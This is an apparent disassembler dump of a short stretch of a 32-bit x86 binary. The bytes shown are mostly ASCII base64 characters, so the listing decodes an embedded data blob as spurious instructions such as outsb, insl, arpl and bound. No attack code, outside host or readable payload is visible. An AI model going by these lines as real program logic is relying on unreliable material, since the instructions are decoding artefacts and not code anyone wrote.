42f2c0:	53                   	push   %ebx
42f2c1:	6e                   	outsb  %ds:(%esi),(%dx)
42f2c2:	43                   	inc    %ebx
42f2c3:	44                   	inc    %esp
42f2c4:	46                   	inc    %esi
42f2c5:	54                   	push   %esp
42f2c6:	55                   	push   %ebp
42f2c7:	35 46 49 4d 54       	xor    $0x544d4946,%eax
42f2cc:	49                   	dec    %ecx
42f2cd:	6e                   	outsb  %ds:(%esi),(%dx)
42f2ce:	78 46                	js     0x42f316
42f2d0:	5a                   	pop    %edx
42f2d1:	5a                   	pop    %edx
42f2d2:	69 44 57 41 41 4c 58 	imul   $0x57584c41,0x41(%edi,%edx,2),%eax
42f2d9:	57
42f2da:	57                   	push   %edi
42f2db:	59                   	pop    %ecx
42f2dc:	67 41                	addr16 inc %ecx
42f2de:	51                   	push   %ecx
42f2df:	41                   	inc    %ecx
42f2e0:	41                   	inc    %ecx
42f2e1:	41                   	inc    %ecx
42f2e2:	47                   	inc    %edi
42f2e3:	4a                   	dec    %edx
42f2e4:	6d                   	insl   (%dx),%es:(%edi)
42f2e5:	49                   	dec    %ecx
42f2e6:	48                   	dec    %eax
42f2e7:	41                   	inc    %ecx
42f2e8:	53                   	push   %ebx
42f2e9:	53                   	push   %ebx
42f2ea:	2b 74 5a 49          	sub    0x49(%edx,%ebx,2),%esi
42f2ee:	41                   	inc    %ecx
42f2ef:	59                   	pop    %ecx
42f2f0:	41                   	inc    %ecx
42f2f1:	41                   	inc    %ecx
42f2f2:	41                   	inc    %ecx
42f2f3:	42                   	inc    %edx
42f2f4:	69 49 50 4d 73 79 78 	imul   $0x7879734d,0x50(%ecx),%ecx
42f2fb:	4a                   	dec    %edx
42f2fc:	59                   	pop    %ecx
42f2fd:	49                   	dec    %ecx
42f2fe:	4d                   	dec    %ebp
42f2ff:	31 61 50             	xor    %esp,0x50(%ecx)
42f302:	42                   	inc    %edx
42f303:	68 68 2f 67 34       	push   $0x34672f68
42f308:	57                   	push   %edi
42f309:	41                   	inc    %ecx
42f30a:	44                   	inc    %esp
42f30b:	67 66 2b 76 2f       	sub    0x2f(%bp),%si
42f310:	2f                   	das
42f311:	2f                   	das
42f312:	67 77 42             	addr16 ja 0x42f357
42f315:	41                   	inc    %ecx
42f316:	43                   	inc    %ebx
42f317:	43                   	inc    %ebx
42f318:	38 51 37             	cmp    %dl,0x37(%ecx)
42f31b:	41                   	inc    %ecx
42f31c:	50                   	push   %eax
42f31d:	5a                   	pop    %edx
42f31e:	69 43 74 58 46 4c 6c 	imul   $0x6c4c4658,0x74(%ebx),%eax
42f325:	57                   	push   %edi
42f326:	43                   	inc    %ebx
42f327:	43                   	inc    %ebx
42f328:	41                   	inc    %ecx
42f329:	54                   	push   %esp
42f32a:	55                   	push   %ebp
42f32b:	51                   	push   %ecx
42f32c:	49                   	dec    %ecx
42f32d:	59                   	pop    %ecx
42f32e:	57                   	push   %edi
42f32f:	55                   	push   %ebp
42f330:	67 42                	addr16 inc %edx
42f332:	41                   	inc    %ecx
42f333:	41                   	inc    %ecx
42f334:	41                   	inc    %ecx
42f335:	41                   	inc    %ecx
42f336:	47                   	inc    %edi
42f337:	4d                   	dec    %ebp
42f338:	67 6a 70             	addr16 push $0x70
42f33b:	6f                   	outsl  %ds:(%esi),(%dx)
42f33c:	68 41 6d 48 2b       	push   $0x2b486d41
42f341:	44                   	inc    %esp
42f342:	41                   	inc    %ecx
42f343:	45                   	inc    %ebp
42f344:	41                   	inc    %ecx
42f345:	49                   	dec    %ecx
42f346:	44                   	inc    %esp
42f347:	4a                   	dec    %edx
42f348:	6b 63 51 51          	imul   $0x51,0x51(%ebx),%esp
42f34c:	67 37                	addr16 aaa
42f34e:	5a                   	pop    %edx
42f34f:	61                   	popa
42f350:	4f                   	dec    %edi
42f351:	2b 31                	sub    (%ecx),%esi
42f353:	68 6d 49 41 55       	push   $0x5541496d
42f358:	41                   	inc    %ecx
42f359:	41                   	inc    %ecx
42f35a:	41                   	inc    %ecx
42f35b:	42                   	inc    %edx
42f35c:	6a 6b                	push   $0x6b
42f35e:	53                   	push   %ebx
42f35f:	44                   	inc    %esp
42f360:	63 43 33             	arpl   %eax,0x33(%ebx)
42f363:	34 61                	xor    $0x61,%al
42f365:	49                   	dec    %ecx
42f366:	41                   	inc    %ecx
42f367:	45                   	inc    %ebp
42f368:	41                   	inc    %ecx
42f369:	41                   	inc    %ecx
42f36a:	41                   	inc    %ecx
42f36b:	42                   	inc    %edx
42f36c:	69 49 42 56 33 32 4f 	imul   $0x4f323356,0x42(%ecx),%ecx
42f373:	35 68 49 4c 4f       	xor    $0x4f4c4968,%eax
42f378:	65 32 79 56          	xor    %gs:0x56(%ecx),%bh
42f37c:	59                   	pop    %ecx
42f37d:	49                   	dec    %ecx
42f37e:	41                   	inc    %ecx
42f37f:	45                   	inc    %ebp
42f380:	41                   	inc    %ecx
42f381:	41                   	inc    %ecx
42f382:	41                   	inc    %ecx
42f383:	42                   	inc    %edx
42f384:	6a 5a                	push   $0x5a
42f386:	57                   	push   %edi
42f387:	48                   	dec    %eax
42f388:	53                   	push   %ebx
42f389:	6e                   	outsb  %ds:(%esi),(%dx)
42f38a:	50                   	push   %eax
42f38b:	34 4d                	xor    $0x4d,%al
42f38d:	41                   	inc    %ecx
42f38e:	51                   	push   %ecx
42f38f:	41                   	inc    %ecx
42f390:	67 45                	addr16 inc %ebp
42f392:	71 6a                	jno    0x42f3fe
42f394:	4e                   	dec    %esi
42f395:	49                   	dec    %ecx
42f396:	57                   	push   %edi
42f397:	59                   	pop    %ecx
42f398:	67 34 42             	addr16 xor $0x42,%al
42f39b:	6d                   	insl   (%dx),%es:(%edi)
42f39c:	53                   	push   %ebx
42f39d:	2b 6d 46             	sub    0x46(%ebp),%ebp
42f3a0:	6d                   	insl   (%dx),%es:(%edi)
42f3a1:	49                   	dec    %ecx
42f3a2:	4d                   	dec    %ebp
42f3a3:	71 78                	jno    0x42f41d
42f3a5:	58                   	pop    %eax
42f3a6:	39 74 5a 2f          	cmp    %esi,0x2f(%edx,%ebx,2)
42f3aa:	67 77 42             	addr16 ja 0x42f3ef
42f3ad:	41                   	inc    %ecx
42f3ae:	43                   	inc    %ebx
42f3af:	41                   	inc    %ecx
42f3b0:	48                   	dec    %eax
42f3b1:	79 52                	jns    0x42f405
42f3b3:	6e                   	outsb  %ds:(%esi),(%dx)
42f3b4:	56                   	push   %esi
42f3b5:	5a                   	pop    %edx
42f3b6:	69 42 73 73 45 4d 47 	imul   $0x474d4573,0x73(%edx),%eax
42f3bd:	57                   	push   %edi
42f3be:	47                   	inc    %edi
42f3bf:	55                   	push   %ebp
42f3c0:	67 65 79 49          	addr16 gs jns 0x42f40d
42f3c4:	38 2b                	cmp    %ch,(%ebx)
42f3c6:	31 6b 67             	xor    %ebp,0x67(%ebx)
42f3c9:	74 45                	je     0x42f410
42f3cb:	68 6d 45 46 68       	push   $0x6846456d
42f3d0:	6d                   	insl   (%dx),%es:(%edi)
42f3d1:	49                   	dec    %ecx
42f3d2:	4e                   	dec    %esi
42f3d3:	45                   	inc    %ebp
42f3d4:	2b 41 4f             	sub    0x4f(%ecx),%eax
42f3d7:	52                   	push   %edx
42f3d8:	59                   	pop    %ecx
42f3d9:	49                   	dec    %ecx
42f3da:	41                   	inc    %ecx
42f3db:	4d                   	dec    %ebp
42f3dc:	41                   	inc    %ecx
42f3dd:	41                   	inc    %ecx
42f3de:	41                   	inc    %ecx
42f3df:	42                   	inc    %edx
42f3e0:	69 5a 5a 45 67 73 65 	imul   $0x65736745,0x5a(%edx),%ebx
42f3e7:	46                   	inc    %esi
42f3e8:	53                   	push   %ebx
42f3e9:	78 69                	js     0x42f454
42f3eb:	41                   	inc    %ecx
42f3ec:	55                   	push   %ebp
42f3ed:	4d                   	dec    %ebp
42f3ee:	30 72 65             	xor    %dh,0x65(%edx)
42f3f1:	57                   	push   %edi
42f3f2:	53                   	push   %ebx
42f3f3:	42                   	inc    %edx
42f3f4:	6a 63                	push   $0x63
42f3f6:	76 63                	jbe    0x42f45b
42f3f8:	58                   	pop    %eax
42f3f9:	57                   	push   %edi
42f3fa:	43                   	inc    %ebx
42f3fb:	41                   	inc    %ecx
42f3fc:	47                   	inc    %edi
42f3fd:	41                   	inc    %ecx
42f3fe:	41                   	inc    %ecx
42f3ff:	41                   	inc    %ecx
42f400:	41                   	inc    %ecx
42f401:	59                   	pop    %ecx
42f402:	32 48 53             	xor    0x53(%eax),%cl
42f405:	6e                   	outsb  %ds:(%esi),(%dx)
42f406:	50                   	push   %eax
42f407:	34 4d                	xor    $0x4d,%al
42f409:	41                   	inc    %ecx
42f40a:	51                   	push   %ecx
42f40b:	41                   	inc    %ecx
42f40c:	67 4e                	addr16 dec %esi
42f40e:	7a 52                	jp     0x42f462
42f410:	57                   	push   %edi
42f411:	4e                   	dec    %esi
42f412:	43                   	inc    %ebx
42f413:	42                   	inc    %edx
42f414:	58                   	pop    %eax
42f415:	39 58 55             	cmp    %ebx,0x55(%eax)
42f418:	63 57 53             	arpl   %edx,0x53(%edi)
42f41b:	41                   	inc    %ecx
42f41c:	32 77 52             	xor    0x52(%edi),%dh
42f41f:	2f                   	das
42f420:	6f                   	outsl  %ds:(%esi),(%dx)
42f421:	59                   	pop    %ecx
42f422:	57                   	push   %edi
42f423:	62 2b                	bound  %ebp,(%ebx)
42f425:	44                   	inc    %esp
42f426:	41                   	inc    %ecx
42f427:	45                   	inc    %ebp
42f428:	41                   	inc    %ecx
42f429:	49                   	dec    %ecx
42f42a:	43                   	inc    %ebx
42f42b:	5a                   	pop    %edx
42f42c:	73 41                	jae    0x42f46f
42f42e:	65 6c                	gs insb (%dx),%es:(%edi)
42f430:	6d                   	insl   (%dx),%es:(%edi)
42f431:	49                   	dec    %ecx
42f432:	4c                   	dec    %esp
42f433:	65 43                	gs inc %ebx
42f435:	6e                   	outsb  %ds:(%esi),(%dx)
42f436:	76 31                	jbe    0x42f469
42f438:	68 5a 53 42 46       	push   $0x4642535a
42f43d:	45                   	inc    %ebp
42f43e:	57                   	push   %edi
42f43f:	44                   	inc    %esp
42f440:	72 57                	jb     0x42f499
42f442:	47                   	inc    %edi
42f443:	57                   	push   %edi
42f444:	52                   	push   %edx
42f445:	49                   	dec    %ecx
42f446:	50                   	push   %eax
42f447:	57                   	push   %edi
42f448:	38 2f                	cmp    %ch,(%edi)
42f44a:	4e                   	dec    %esi
42f44b:	73 67                	jae    0x42f4b4
42f44d:	33 38                	xor    (%eax),%edi
42f44f:	48                   	dec    %eax
42f450:	70 2b                	jo     0x42f47d
42f452:	31 6c 6d 5a          	xor    %ebp,0x5a(%ebp,%ebp,2)
42f456:	53                   	push   %ebx
42f457:	44                   	inc    %esp
42f458:	73 42                	jae    0x42f49c
42f45a:	4f                   	dec    %edi
42f45b:	30 66 57             	xor    %ah,0x57(%esi)
42f45e:	47                   	inc    %edi
42f45f:	48                   	dec    %eax
42f460:	53                   	push   %ebx
42f461:	6e                   	outsb  %ds:(%esi),(%dx)
42f462:	43                   	inc    %ebx
42f463:	42                   	inc    %edx
42f464:	4b                   	dec    %ebx
42f465:	37                   	aaa
42f466:	69 58 6e 5a 6d 55 67 	imul   $0x67556d5a,0x6e(%eax),%ebx
42f46d:	30 2b                	xor    %ch,(%ebx)
42f46f:	34 6c                	xor    $0x6c,%al
42f471:	35 31 6b 67 41       	xor    $0x41676b31,%eax
42f476:	77 41                	ja     0x42f4b9
42f478:	41                   	inc    %ecx
42f479:	41                   	inc    %ecx
42f47a:	47                   	inc    %edi
42f47b:	50                   	push   %eax
42f47c:	2b 44 68 59          	sub    0x59(%eax,%ebp,2),%eax
42f480:	41                   	inc    %ecx
42f481:	4f                   	dec    %edi
42f482:	41                   	inc    %ecx
42f483:	62 35 2f 2f 39 79    	bound  %esi,0x79392f2f
42f489:	44                   	inc    %esp
42f48a:	77 41                	ja     0x42f4cd
42f48c:	41                   	inc    %ecx
42f48d:	63 43 67             	arpl   %eax,0x67(%ebx)
42f490:	72 41                	jb     0x42f4d3
42f492:	41                   	inc    %ecx
42f493:	41                   	inc    %ecx
42f494:	4b                   	dec    %ebx
42f495:	2f                   	das
42f496:	67 34 42             	addr16 xor $0x42,%al
42f499:	41                   	inc    %ecx
42f49a:	50                   	push   %eax
42f49b:	34 4d                	xor    $0x4d,%al
42f49d:	41                   	inc    %ecx
42f49e:	51                   	push   %ecx
42f49f:	41                   	inc    %ecx
42f4a0:	67 43                	addr16 inc %ebx
42f4a2:	4c                   	dec    %esp
42f4a3:	55                   	push   %ebp
42f4a4:	4e                   	dec    %esi
42f4a5:	71 53                	jno    0x42f4fa
42f4a7:	41                   	inc    %ecx
42f4a8:	43                   	inc    %ebx
42f4a9:	41                   	inc    %ecx
42f4aa:	41                   	inc    %ecx
42f4ab:	41                   	inc    %ecx
42f4ac:	41                   	inc    %ecx
42f4ad:	59                   	pop    %ecx
42f4ae:	79 44                	jns    0x42f4f4
42f4b0:	75 41                	jne    0x42f4f3
42f4b2:	78 33                	js     0x42f4e7
42f4b4:	61                   	popa
42f4b5:	59                   	pop    %ecx
42f4b6:	53                   	push   %ebx
42f4b7:	41                   	inc    %ecx
42f4b8:	42                   	inc    %edx
42f4b9:	41                   	inc    %ecx
42f4ba:	41                   	inc    %ecx
42f4bb:	41                   	inc    %ecx
42f4bc:	41                   	inc    %ecx
42f4bd:	59                   	pop    %ecx
42f4be:	79 43                	jns    0x42f503
42f4c0:	71 79                	jno    0x42f53b
42f4c2:	4e                   	dec    %esi
42f4c3:	44                   	inc    %esp
42f4c4:	6e                   	outsb  %ds:(%esi),(%dx)
42f4c5:	57                   	push   %edi
42f4c6:	47                   	inc    %edi
42f4c7:	55                   	push   %ebp
42f4c8:	67 42                	addr16 inc %edx
42f4ca:	67 41                	addr16 inc %ecx
42f4cc:	41                   	inc    %ecx
42f4cd:	41                   	inc    %ecx
42f4ce:	47                   	inc    %edi
42f4cf:	4c                   	dec    %esp
42f4d0:	2b 44 41 45          	sub    0x45(%ecx,%eax,2),%eax
42f4d4:	41                   	inc    %ecx
42f4d5:	49                   	dec    %ecx
42f4d6:	42                   	inc    %edx
42f4d7:	6d                   	insl   (%dx),%es:(%edi)
42f4d8:	47                   	inc    %edi
42f4d9:	77 2b                	ja     0x42f506
42f4db:	73 67                	jae    0x42f544
42f4dd:	41                   	inc    %ecx